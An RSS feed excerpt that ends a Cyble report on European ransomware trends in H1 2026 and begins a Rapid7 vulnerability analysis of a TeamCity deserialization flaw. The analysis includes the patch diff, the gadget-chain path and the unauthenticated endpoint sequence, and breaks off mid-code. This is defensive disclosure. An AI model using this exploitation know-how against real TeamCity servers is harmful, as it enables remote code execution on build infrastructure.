</tr>
<tr>
<td><strong>kazutlg</strong></td>
<td class="has-text-align-center" data-align="center">4</td>
<td>BFSI and Professional Services focus</td>
</tr>
<tr>
<td><strong>aslan1</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Government and Technology sectors</td>
</tr>
<tr>
<td><strong>darkcybervault</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Retail and Professional Services</td>
</tr>
<tr>
<td><strong>breach3d</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Technology focus</td>
</tr>
<tr>
<td><strong>frog</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Diverse sector targeting</td>
</tr>
<tr>
<td><strong>ken6k</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>BFSI concentration</td>
</tr>
<tr>
<td><strong>max9898</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Retail and Technology</td>
</tr>
<tr>
<td><strong>worldrdp</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Technology sector</td>
</tr>
<tr>
<td><strong>zyad2drkwb</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Government targeting</td>
</tr>
<tr>
<td><strong>zoozkooz</strong></td>
<td class="has-text-align-center" data-align="center">2</td>
<td>Diverse sector</td>
</tr>
<tr>
<td><strong>mr_x1</strong></td>
<td class="has-text-align-center" data-align="center">1</td>
<td>Retail focus</td>
</tr>
<tr>
<td><strong>ventuuas</strong></td>
<td class="has-text-align-center" data-align="center">1</td>
<td>Professional Services</td>
</tr>
<tr>
<td><strong>Others</strong></td>
<td class="has-text-align-center" data-align="center">18</td>
<td>Distributed diverse targeting</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Strategic Finding:</strong> While Qilin, The Gentlemen, and LockBit dominate ransomware attack volume, data exfiltration is fragmented across numerous smaller actors, including tanaka (6 posts), kazutlg (4 posts), and dozens of single-incident operators. This suggests a mature <strong>data brokerage ecosystem</strong> where extracted data is resold to specialized exfiltration actors.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Dark Web Data Marketplace Activity:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>916 unique domains</strong> impacted by data leaks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Approximately 86 distinct leak posts</strong> across dark web channels</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Data types:</strong> Financial records, customer PII, medical records, intellectual property, trade secrets</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Implication:</strong> Organizations can no longer assume encrypted data is "lost forever" if backups are restored. Exfiltrated data will be monetized regardless of whether organizations pay ransoms. Data loss prevention becomes as critical as ransomware detection.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Geopolitical and Ideological Dimensions:</strong> The Activism-Cybercrime Convergence</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Pro-Russian Hacktivism: </strong>Blurred Lines Between Ideology and Profit</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>H1 2026 witnessed increasing overlap between geopolitically motivated hacktivism and financially motivated cybercrime, particularly among pro-Russian collectives targeting NATO-aligned European nations.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Key Threat Actors to Monitor</strong></h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>NoName057(16) - The Pro-Russian DDoS Coalition</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Activity:</strong> Large-scale DDoS attacks against NATO-aligned governments and Ukrainian supporters</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Activity:</strong> Data exfiltration for monetization</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Geographic Targets:</strong> Estonia, UK, Ukraine, Italy, Spain, France, Poland, Norway, Denmark, Lithuania, Latvia, Czech Republic, Germany, Moldova</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Operational Pattern:</strong> Coordinated DDoS campaigns often accompanied by data theft and subsequent leak activity</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Evolution:</strong> NoName057(16) began as a purely activist collective claiming ideological motivation (anti-NATO, pro-Russia). By H1 2026, the group had evolved to include data exfiltration and monetization—suggesting either organizational evolution or infiltration by financially motivated threat actors.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Strategic Implication:</strong> European organizations cannot compartmentalize threat modeling. A geopolitically motivated attack that begins as a DDoS campaign can transition into ransomware deployment when exfiltration opportunities present themselves.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Strategic Defense Recommendations for European Organizations</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Prioritized Defensive Roadmap</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Based on CRIL's H1 2026 regional data, European security leaders should prioritize defensive investments in the following sequence:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Phase 1: Critical Infrastructure Protection (30 days)</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Inventory Network Appliances:</strong> Document all network appliances (firewalls, SD-WAN platforms, security gateways, VPNs)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Patch Critical CVEs:</strong> Prioritize patches for Cisco, Ivanti, Palo Alto, Fortinet, and Microsoft appliances</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Access Control Hardening:</strong> Implement MFA for all remote administrative access to network infrastructure</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Monitoring Deployment:</strong> Deploy behavioral monitoring on network appliances for anomalous activity</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Phase 2: Data Protection (60 days)</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Data Inventory:</strong> Identify and catalog sensitive data holdings (customer data, financial records, intellectual property)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>DLP Implementation:</strong> Deploy data loss prevention solutions with egress monitoring</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Encryption Standards:</strong> Implement encryption for data in transit (TLS 1.3+) and at rest (AES-256)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Access Logging:</strong> Enable comprehensive audit logging for all sensitive data access</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Phase 3: Operational Resilience (90 days)</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Immutable Backups:</strong> Establish offline, immutable backup infrastructure isolated from network access</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Incident Response Planning:</strong> Develop organization-specific incident response playbooks addressing ransomware scenarios</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Business Continuity:</strong> Identify critical business functions and develop continuity strategies</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Disaster Recovery Testing:</strong> Conduct quarterly backup restoration testing to verify recovery capabilities</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Phase 4: Threat Hunting and Detection (Ongoing)</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Threat Intelligence Integration:</strong> Subscribe to European threat intelligence feeds focusing on Qilin, The Gentlemen, LockBit, Akira, and Dragonforce</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Behavioral Detection:</strong> Deploy endpoint detection and response (EDR) solutions with behavioral analytics</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Supply-Chain Monitoring:</strong> Implement continuous monitoring of vendor and supplier security posture</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Insider Threat Program:</strong> Develop insider threat detection capabilities focusing on data exfiltration attempts</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Regional Threat Actor Summary:</strong> Who Targets Your European Organization</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Sector-Specific Threat Actor Mapping</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>If You're in Construction:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Threat:</strong> Qilin, The Gentlemen</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Threat:</strong> Akira, Dragonforce</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability:</strong> Network segmentation gaps, supply-chain vulnerabilities, legacy OT systems</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Defensive Focus:</strong> OT/IT segmentation, immutable backups, supplier security assessment</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>If You're in Professional Services:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Threat:</strong> Qilin, The Gentlemen</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Threat:</strong> LockBit, Akira</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability:</strong> Client data exfiltration, regulatory exposure, ransomware payment pressure</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Defensive Focus:</strong> DLP, client data encryption, ransomware-specific insurance</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>If You're in Manufacturing:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Threat:</strong> Qilin, The Gentlemen</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Threat:</strong> Akira, Dragonforce</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability:</strong> OT/IT integration, supply-chain exploitation, operational downtime pressure</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Defensive Focus:</strong> OT segmentation, vulnerability prioritization, continuity planning</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>If You're in BFSI:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Threat:</strong> Qilin, The Gentlemen, LockBit</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Threat:</strong> Data exfiltration actors (tanaka, kazutlg)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability:</strong> Financial data value, regulatory breach notification pressure, customer trust exposure</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Defensive Focus:</strong> Data encryption, DLP with aggressive egress controls, cyber insurance</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>If You're in Healthcare:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Primary Threat:</strong> Qilin, The Gentlemen, LockBit</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary Threat:</strong> Data exfiltration operators</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Vulnerability:</strong> Patient safety risk, critical operational pressure, medical device security</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Defensive Focus:</strong> Clinical system isolation, redundant critical systems, incident response for operational continuity</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Conclusion:</strong> The European Ransomware Reality</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Europe and the UK face a mature, organized ransomware ecosystem dominated by five sophisticated threat actors who have developed deep understanding of regional economic vulnerabilities. The threat is not random or opportunistic—it is <strong>strategic, targeted, and evolved</strong>.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Key Takeaways:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Five groups dominate:</strong> Qilin (158 attacks), The Gentlemen (144), LockBit (61), Akira (59), and Dragonforce (54) collectively account for 476 of 866 documented attacks (55%). European security leaders can build specific defensive strategies against known adversaries.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Geography matters:</strong> Germany, UK, France, Italy, and Spain face distinct threat profiles. Security strategies must be regionally and sector-specific, not generic.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Sectors are targeted deliberately:</strong> Construction, Professional Services, and Manufacturing are not randomly selected—they face extraordinary pressure due to economic vulnerabilities that threat actors systematically exploit.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Data exfiltration is the primary leverage:</strong> Of 866 attacks, only 51 resulted in confirmed breaches—but this understates the risk. Organizations must assume all breaches involve data exfiltration and cannot rely on backup restoration alone.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Patch management is the primary defense:</strong> Nearly 90% of exploited vulnerabilities had patches available. Disciplined patch management, particularly for network appliances, would prevent the vast majority of successful attacks.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Known vulnerabilities are the current threat:</strong> Despite awareness of zero-day sophistication, threat actors continue exploiting known vulnerabilities because patches lag adoption. This creates a predictable exploitation window that defensive teams can close.</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>For European security leaders, the path forward is to understand your regional threat actors, prioritize critical infrastructure protection, implement robust data protection measures, and establish resilient backup and recovery infrastructure. The threat is severe, but it is also understood and defensible. The question is not whether European organizations will face ransomware attacks in the remainder of 2026 and beyond—the data confirms they will. The question is whether they will be prepared.</p>
<p><!-- /wp:paragraph --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/ransomware-threats-in-europe-h1-2026/">Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)]]></title>
<description><![CDATA[OverviewOn July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute...]]></description>
<link>https://tsecurity.de/de/3710336/it-security-nachrichten/rapid7-analysis-unauthenticated-remote-code-execution-in-jetbrains-teamcity-cve-2026-63077/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710336/it-security-nachrichten/rapid7-analysis-unauthenticated-remote-code-execution-in-jetbrains-teamcity-cve-2026-63077/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:07 +0200</pubDate>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 27, 2026, JetBrains published a </span><a href="https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/"><span>security advisory</span></a><span> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-63077/"><span>CVE-2026-63077</span></a><span>, a critical unsafe deserialization vulnerability affecting JetBrains </span><a href="https://www.jetbrains.com/teamcity/"><span>TeamCity</span></a><span>. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.</span></p><p></p><p><span>JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077"><span>Known Exploited Vulnerabilities</span></a><span> (KEV) catalog, confirming exploitation in the wild.</span></p><p></p><p><span>Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span> before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive. </span></p><p><span></span></p><p><span>Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span>here</span></a><span>.</span></p><h2>Analysis</h2><p><span>Our analysis compares a vulnerable TeamCity version </span><span><span data-type="inlineCode">2026.1.2</span></span><span> against a patched version </span><span><span data-type="inlineCode">2026.1.3</span></span><span>.</span></p><p></p><p><span>TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under </span><span><span data-type="inlineCode">/app/agents/v1</span></span><span> support this agent communication channel rather than the TeamCity web interface or REST API. A </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.</span></p><p></p><p><a href="https://x-stream.github.io/"><span>XStream</span></a><span> is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An </span><a href="https://x-stream.github.io/graphs.html"><span>object graph</span></a><span> can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, </span><span><span data-type="inlineCode">&lt;linked-hash-map&gt;</span></span><span> is XStream's alias for </span><span><span data-type="inlineCode">java.util.LinkedHashMap</span></span><span>. Nested element names and </span><span><span data-type="inlineCode">class</span></span><span> attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.</span></p><h3><span>Patch diff</span></h3><p><span>The class </span><span><span data-type="inlineCode">jetbrains.buildServer.messages.XStreamHolder</span></span><span> is TeamCity's wrapper for creating and configuring XStream instances. TeamCity </span><span><span data-type="inlineCode">2026.1.2</span></span><span> creates an instance of </span><span><span data-type="inlineCode">XStreamHolder</span></span><span>, configures it, and then calls </span><span><span data-type="inlineCode">setupSecurityIfNeeded()</span></span><span>. If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            &amp;&amp; OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // &lt;--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // &lt;--- [2]
}</pre><p><span></span></p><p><span>The calls at </span><span><span data-type="inlineCode">[1]</span></span><span> and </span><span><span data-type="inlineCode">[2]</span></span><span> do not start from an empty permission set. The bundled XStream </span><span><span data-type="inlineCode">1.4.20.3</span></span><span> constructor has already called </span><span><span data-type="inlineCode">setupSecurity()</span></span><span>, which permits several broad type hierarchies, including </span><span><span data-type="inlineCode">Map</span></span><span> and </span><span><span data-type="inlineCode">Throwable</span></span><span>:</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // &lt;--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // &lt;--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // &lt;--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...</pre><p></p><p><span>Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.</span></p><p><span></span></p><p><span>The patch from version </span><span><span data-type="inlineCode">2026.1.3</span></span><span> can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:</span></p><p><span></span></p><pre language="diff">+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             &amp;&amp; OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // &lt;--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }</pre><p></p><p><span>The patched initializer turns the new behavior on before it populates the static allowlist:</span></p><p><span></span></p><pre language="diff"> public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // &lt;--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }</pre><p></p><p><span>XStream's </span><span><span data-type="inlineCode">SecurityMapper.addPermission()</span></span><span> clears its permission list when it receives </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span>. The </span><span><span data-type="inlineCode">allowTypes</span></span><span> calls that follow </span><span><span data-type="inlineCode">[3]</span></span><span> now operate on a deny-by-default baseline, i.e., </span><span><span data-type="inlineCode">Map</span></span><span> and </span><span><span data-type="inlineCode">Throwable</span></span><span> are no longer allowed types. The </span><span><span data-type="inlineCode">TeamCityProperties.getBooleanOrTrue()</span></span><span> call at </span><span><span data-type="inlineCode">[4]</span></span><span> means the new property defaults to </span><span><span data-type="inlineCode">true</span></span><span>, so clearing the permission list at </span><span><span data-type="inlineCode">[3]</span></span><span> will now occur by default on a patched server.</span></p><h3><span>Root cause</span></h3><p><span>The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting </span><span><span data-type="inlineCode">Map</span></span><span> therefore covers classes that implement </span><span><span data-type="inlineCode">Map</span></span><span> such as </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span>, while permitting </span><span><span data-type="inlineCode">Throwable</span></span><span> covers exception subclasses such as </span><span><span data-type="inlineCode">RuntimeException</span></span><span>. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.</span></p><p></p><p><span>The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented </span><span><span data-type="inlineCode">class</span></span><span> name or </span><span>class</span><span> attribute passes through </span><span><span data-type="inlineCode">SecurityMapper.realClass()</span></span><span>. By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete </span><span><span data-type="inlineCode">class</span></span><span> attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.</span></p><p></p><p><span>Applied here, this allows a deserialization payload that begins with TeamCity's </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>. This class extends </span><span><span data-type="inlineCode">RuntimeException</span></span><span>, so XStream accepts it under the default </span><span><span data-type="inlineCode">Throwable</span></span><span> hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> instance. From there, the exact declared fields </span><span><span data-type="inlineCode">myHSQLStorage</span></span><span> and </span><span><span data-type="inlineCode">myDataSource</span></span><span> lead XStream to an </span><span><span data-type="inlineCode">org.apache.commons.dbcp2.BasicDataSource</span></span><span>. XStream follows those field types without resolving </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> from an explicit element name or </span><span><span data-type="inlineCode">class</span></span><span> attribute, even though TeamCity </span><span><span data-type="inlineCode">2026.1.2</span></span><span> rejects that class when the XML names it directly. The patched version </span><span><span data-type="inlineCode">2026.1.3</span></span><span> stops the chain earlier by rejecting </span><span><span data-type="inlineCode">SchemaMismatchException</span></span><span>, which is absent from TeamCity's explicit protocol allowlist.</span></p><h3><span>Triggering the vulnerability</span></h3><p><span>First, the server accepts an agent registration request via an HTTP POST to the </span><span><span data-type="inlineCode">/app/agents/v1/register</span></span><span> endpoint, and returns a new session identifier in the </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> response header.</span></p><p></p><p><span>The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the </span><span><span data-type="inlineCode">/app/agents/v1/commands/error</span></span><span> endpoint. The handler for this endpoint is the method </span><span><span data-type="inlineCode">handleCommands</span></span><span>, shown below. This will validate the incoming request’s </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> header before calling the handler for the error command.</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // &lt;--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // &lt;--- call the error handler
          }
      }
      return null;
  }</pre><p></p><p><span>The method </span><span><span data-type="inlineCode">handleCommandIsFailedRequest</span></span><span> will then proceed to unsafely deserialize the incoming request’s XML body.</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // &lt;--- deserialize attacker's XML

    // ...
